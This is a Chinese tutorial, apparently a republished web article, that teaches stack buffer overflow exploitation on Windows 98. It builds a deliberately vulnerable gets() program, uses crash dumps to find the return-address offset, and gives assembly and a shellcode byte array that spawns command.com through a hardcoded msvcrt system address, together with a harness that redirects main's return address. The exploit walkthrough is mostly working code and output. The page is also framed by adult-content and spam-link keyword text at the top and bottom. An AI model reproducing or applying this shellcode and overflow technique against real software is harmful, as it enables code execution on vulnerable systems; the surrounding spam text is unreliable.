成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

堆棧溢出技術從入門到高深:windows系統下堆棧溢出

安全 網站安全
本文我們來看看windows系統下的程序。我們的目的是研究如何利用windows程序的堆棧溢出漏洞。

windows系統下的堆棧溢出--原理篇

這一講我們來看看windows系統下的程序。我們的目的是研究如何利用windows程序的堆棧溢出漏洞。讓我們從頭開始。

相關推薦】:

堆棧溢出技術從入門到高深:如何書寫shell code

堆棧溢出技術從入門到高深:利用堆棧溢出獲得shell

windows 98第二版

首先,我們來寫一個問題程序:

#include <stdio.h>

int main()

{

char name[32];

gets(name);

for(int i=0;i<32&&name[i];i++)

printf("//0x%x",name[i]);

}

相信大家都看出來了,gets(name)對name數組沒有作邊界檢查。那么我們可以給程序一個很長的串,肯定可以覆蓋堆棧中的返回地址。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaa

/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0

x61/0x61

/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0

x61/0x61

到這里,出現了那個熟悉的對話框“該程序執行了非法操作。。。”,太好了,點擊詳細信息按鈕,看到EIP的值是0x61616161,哈哈,對話框還會把返回地址告訴我們。這個功能太好了,我們可以選擇一個序列的輸入串,精確的確定存放返回地址的偏移位置。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1

12345678910111213141516171819202122232425262728293031323334353637383940

/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0

x32/0x31

/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0

x30/0x32

到這里,又出現了那個熟悉的對話框“改程序執行了非法操作。。。”,點擊詳細信息按鈕,下面是詳細信息:

VUNERABLE 在 00de:32363235 的模塊

<未知> 中導致無效頁錯誤。

Registers:

EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246

EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233

ECX=00000020 DS=0187 ESI=816bffcc FS=11df

EDX=00411a68 ES=0187 EDI=00000000 GS=0000

Bytes at CS:EIP:

Stack dump:

32383237 33303339 33323331 33343333 33363335 33383337 c0000005

0064ff68

0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78

bff8b86c

哦哦,EIP的內容為0x32363235,就是2625,EBP的內容為0x32343233,就是2423,計算一下可以知道,在堆棧中,從name變量地址開始偏移36處,是EBP的地址,從name變量地址開始偏移40處,是ret的地址。我們可以給name數組輸入我們精心編寫的shellcode。我們只要把name的開始地址放在溢出字符串的地址40就可以了。那么,name的開始地址是多少呢?通過上面的stack dump 我們可以看到,當前ESP所指向的地址0x0064fe00,內容為0x32383237,那么計算得出,name的開始地址為:0x0064fe00-44=0x64fdd4。在windows系統,其他運行進程保持不變的情況下。我們每次執行vunera~1的堆棧的開始地址都是相同的。也就是說,每次運行,name的地址都是0x64fdd4。講到這里,大家一定已經發現了這樣一個情況:在win系統中,由于有地址沖突檢測,出錯時寄存器影像和堆棧影像,使得我們對堆棧溢出漏洞可以進行精確的分析溢出偏移地址。這就使我們可以精確的方便的尋找堆棧溢出漏洞。

OK,萬事具備,只差shellcode了。#p#

首先,考慮一下我們的shellcode要作什么?顯然,根據以往的經驗,我們想開一個dos窗口,這樣在這個窗口下,我們就可以作很多事情。開一個dos窗口的程序如下:

#include <windows.h>

#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);

int main()

{

HINSTANCE LibHandle;

MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll"

char sysbuf[7] = "system"

char cmdbuf[16] = "command.com"

LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;

}

這個程序有必要詳細解釋一下。我們知道執行一個command.com就可以獲得一個dos窗口。在C庫函數里面,語句system(command.com);將完成我們需要的功能。但是,windows不像UNIX那樣使用系統調用來實現關鍵函數。對于我們的程序來說,windows通過動態鏈接庫來提供系統函數。這就是所謂的Dll"s。

因此,當我們想調用一個系統函數的時候,并不能直接引用他。我們必須找到那個包含此函數的動態鏈接庫,由該動態鏈接庫提供這個函數的地址。DLL本身也有一個基本地址,該DLL每一次被加載都是從這個基本地址加載。比如,system函數由msvcrt.dll(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從0x78000000地址開始。system函數位于msvcrt.dll的一個固定偏移處(這個偏移地址只與msvcrt.dll的版本有關,不同的版本可能偏移地址不同)。我的系統上,msvcrt.dll版本為(v6.00.8397.0)。system的偏移地址為0x019824。

所以,要想執行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動態鏈接庫msvcrt.dll,獲得動態鏈接庫的句柄。然后使用GetProcAddress(LibHandle,system)獲得 system的真實地址。之后才能使用這個真實地址來調用system函數。

好了,現在可以編譯執行,結果正確,我們得到了一個dos框。現在對這個程序進行調試跟蹤匯編語言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);

00401075 lea edx,dword ptr [dllbuf]

00401078 push edx

00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]

0040107F mov dword ptr [LibHandle],eax

16:

17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

00401082 lea eax,dword ptr [sysbuf]

00401085 push eax

00401086 mov ecx,dword ptr [LibHandle]

00401089 push ecx

0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]

00401090 mov dword ptr [ProcAdd],eax

;現在,eax的值為0x78019824就是system的真實地址。;這個地址對于我的機器而言是***的。不用每次都找了。

18:

19: (ProcAdd) (cmdbuf);

00401093 lea edx,dword ptr [cmdbuf]

;使用堆棧傳遞參數,只有一個參數,就是字符串"command.com"的地址

00401096 push edx

00401097 call dword ptr [ProcAdd]

0040109A add esp,4

#p#

現在我們可以寫出一段匯編代碼來完成system,看以看我們的執行system調用的代碼是否能夠像我們設計的那樣工作:

#include <windows.h>

#include <winbase.h>

void main()

{

LoadLibrary("msvcrt.dll");

__asm {

mov esp,ebp ;把ebp的內容賦值給esp

push ebp ;保存ebp,esp-4

mov ebp,esp ;給ebp賦新值,將作為局部變量的基指針

xor edi,edi ;

push edi ;壓入0,esp-4,;作用是構造字符串的結尾/0字符。sub esp,08h ;加上上面,一共有12個字節,;用來放"command.com"。

mov byte ptr [ebp-0ch],63h ;

mov byte ptr [ebp-0bh],6fh ;

mov byte ptr [ebp-0ah],6dh ;

mov byte ptr [ebp-09h],6Dh ;

mov byte ptr [ebp-08h],61h ;

mov byte ptr [ebp-07h],6eh ;

mov byte ptr [ebp-06h],64h ;

mov byte ptr [ebp-05h],2Eh ;

mov byte ptr [ebp-04h],63h ;

mov byte ptr [ebp-03h],6fh ;

mov byte ptr [ebp-02h],6dh ;生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ;串地址作為參數入棧

mov eax, 0x78019824 ;

call eax ;調用system

}

}

編譯,然后運行。好,DOS框出來了。在提示符下輸入dir,copy......是不是想起了當年用286的時候了?敲exit退出來,哎呀,發生了非法操作。Access Violation。這是肯定的,因為我們的程序已經把堆棧指針搞亂了。對上面的算法進行優化,現在我們可以寫出shellcode如下:

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */

0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

#p#

還記得第二講中那個測試shellcode的基本程序嗎?我們可以用他來測試這個shellcode:

#include <windows.h>

#include <winbase.h>

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */

0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

int main() {

int *ret;

LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址

//(+2是因為:有push ebp ,否則加1就可以了。)(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。

}

編譯運行,得到dos對話框。

現在總結一下。我們已經知道了在windows系統下如何獲得一次堆棧溢出,如何計算偏移地址,以及如何編寫一個shellcode以得到dos。理論上,你已經具備了利用堆棧溢出的能力了。如果你想通過實戰來真正掌握他,可以參考《Windows的SHELLCODE編寫高級技巧》

責任編輯:藍雨淚 來源: 紅黑聯盟
相關推薦

2012-11-27 15:46:51

堆棧溢出

2012-11-27 15:41:41

2009-09-04 10:37:50

Java堆棧溢出

2012-11-06 10:01:35

ContinuatioF#

2022-05-07 08:27:42

緩沖區溢出堆棧

2009-12-10 15:09:40

Linux系統

2010-04-16 10:51:09

2010-09-16 14:36:20

2017-01-03 16:57:58

2012-05-14 17:35:28

移動Web

2009-05-13 09:21:48

2010-08-25 15:34:48

CSSoverflow

2013-08-02 10:06:36

Android內存溢出

2022-03-23 08:45:20

系統性能CPU

2024-09-09 09:41:03

內存溢出golang開發者

2021-11-01 22:36:04

JavaScript

2011-03-23 12:39:44

2010-10-09 14:45:48

2025-04-21 04:00:00

2010-01-14 10:15:44

主流堆棧交換技術
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 欧美黄色一区 | 国产在线看片 | 亚洲人成在线观看 | 欧美一级欧美三级在线观看 | 欧美日韩福利视频 | 黄色毛片网站在线观看 | 欧美久久精品 | 国产激情网 | 精品在线一区二区三区 | 日韩一区二区在线播放 | 在线国产视频 | 成人免费视频 | 久久大陆 | 国产精品久久久久久妇女6080 | 久久成人激情 | 久草视 | 精品久久影院 | 国产一区二区三区在线 | 日韩视频高清 | 亚洲精品中文字幕 | 欧美日韩在线免费 | 美女天天干 | 91av在线视频观看 | 日本免费在线观看视频 | 国产传媒毛片精品视频第一次 | ww 255hh 在线观看 | 亚洲精品在线免费观看视频 | 香蕉久久久 | 欧美电影免费观看高清 | 亚洲国产成人av好男人在线观看 | 亚洲国产精品久久 | 国产欧美精品一区 | 丝袜一区二区三区 | 国产目拍亚洲精品99久久精品 | 国产一区二区三区 | 欧美aaaaa| 国产精品永久免费视频 | 特级做a爱片免费69 精品国产鲁一鲁一区二区张丽 | 在线看av网址| 欧美激情精品久久久久 | 国产成人精品亚洲日本在线观看 |